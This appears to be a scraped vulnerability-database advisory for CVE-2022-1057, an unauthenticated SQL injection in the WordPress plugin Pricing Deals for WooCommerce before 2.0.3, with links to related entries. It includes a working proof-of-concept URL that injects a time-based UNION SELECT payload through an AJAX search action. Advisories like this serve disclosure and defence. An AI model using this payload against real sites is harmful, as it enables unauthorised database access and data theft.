Lucene search
KingWPEX-ID:7C33FFC3-84D1-4A0F-A837-794CDC3AD243HistoryJun 16, 2022 - 12:00 a.m.
Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQLi
2022-06-1600:00:00
king
107
0.04 Low
EPSS
Percentile
92.2%
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection
https://examle.com/wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%'+union+select+1,sleep(5),3%23'Related
cvelist
cvelist
wpvulndb
wpvulndb
Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQLi
2022-06-16 00:00:00
cnvd
cnvd
WordPress Pricing Deals for WooCommerce plugin SQL注入漏洞
2022-07-13 00:00:00
nvd
nvd
CVE-2022-1057
2022-07-11 13:15:08
nuclei
nuclei
WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection
2022-10-21 13:28:20
cve
cve
CVE-2022-1057
2022-07-11 13:15:08
prion
prion
Sql injection
2022-07-11 13:15:00